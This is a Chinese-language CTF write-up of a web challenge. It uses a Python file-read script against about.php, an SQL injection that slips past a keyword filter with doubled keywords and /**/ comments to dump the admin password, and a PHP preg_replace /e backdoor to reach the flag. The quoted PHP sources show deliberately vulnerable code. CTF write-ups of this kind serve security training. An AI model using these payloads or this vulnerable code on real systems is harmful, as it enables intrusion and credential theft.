下面有一个输入框,在输入框中输入一些SQL语句之后发现没什么用,感觉是需要用SQL注入的方法,但是这么一看应该不是在这里用。在搜索框中又输入1。
这里需要修改user-Agent 但是不知道这里伪造的浏览器是什么,所以暂时先放一下。
点开首页有一个说明CMS。
这里说明了这个网站存在的一些文件。index.php/config.php/passencode.php 还有一个admin表单结构。因此确定了大的方向就是SQL注入。
进入index.php文件看一下
这段代码中还发现了antixss.antinjection即反xss,反SQL注入机制。但存在一个目录列表.about.php
这个网站如何登陆到管理员界面是一个障碍。用Python把文件目录下载出来,因为有一些文件可能被隐藏了。
# -*- coding: utf-8 -*- import requests import HTMLParser import codecs URL = 'http://cms.nuptzj.cn/about.php?file=%s' FILE_LIST = ['index.php','say.php','so.php','preview.php','about.php','antiinject.php','antixss.php'] h=HTMLParser.HTMLParser() for f in FILE_LIST: print '[+] Processing file:' + f + '...' res = requests.get(URL % f) if res.status_code == 200: res.encoding = 'utf-8' with codecs.open(f,'w+','utf-8') as handle: print 'done' text = h.unescape(res.text) handle.write(text)
读取一下about.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php $file=$_GET['file']; if($file=="" || strstr($file,'config.php')) { echo "file参数不能为空!"; exit(); } else { $cut=strchr($file,"loginxlcteam"); if($cut==false){ $data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; } else { echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>"; } }
发现有一个loginxlcteam.php被隐藏了,这个就是我们要找的登陆界面。
看到了登陆页面,试了一下弱类型。用户名admin,admin ' or '1' = '1 #发现都没成功。
在刚才py爬取到的目录中,有一个aitiinjection文件,这个应该是一个反SQL注入的代码,点进去看看。
<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower($content); for($i=0;$i<=count($keyword);$i++){ $info=str_replace($keyword[$i], '',$info); } return $info; } ?>
发现这里过滤了注入常用的select,union等字符,因此可用双写,/**/等特殊字符绕过。
发现这里是可以进行绕过的。
因为之前题目中有一个环节已经给出了数据库结构,所以直接可以进行注入得到密码。
soid=-1/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n
得到admin对应的密码。
102 117 99 107 114 117 110 116 117
这一串数字如果对于程序稍了解一些的话就应该可以猜测这是一串ASCII编码,数字对应字符解码后。
密码:fuckruntu
换到刚才的登陆界面。
用户名:admin
密码:fuckruntu
按提示把源码下载出来。
<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>
代码的大概意思就是用www作为参数,替换原有参数进行操作。就是呃。。。像这样
wtf作为实际参数进行文件读写。了解了工作原理,查看一下后台文件。
虽然出现了乱码,但还是能猜测到最后一个文件应该是关于flag的文件,换编辑器打开这个文件。
最后进入这个文件,得到答案。
这个题作为压轴题在比赛中非常的综合,不得不佩服长亭科技出题的能力。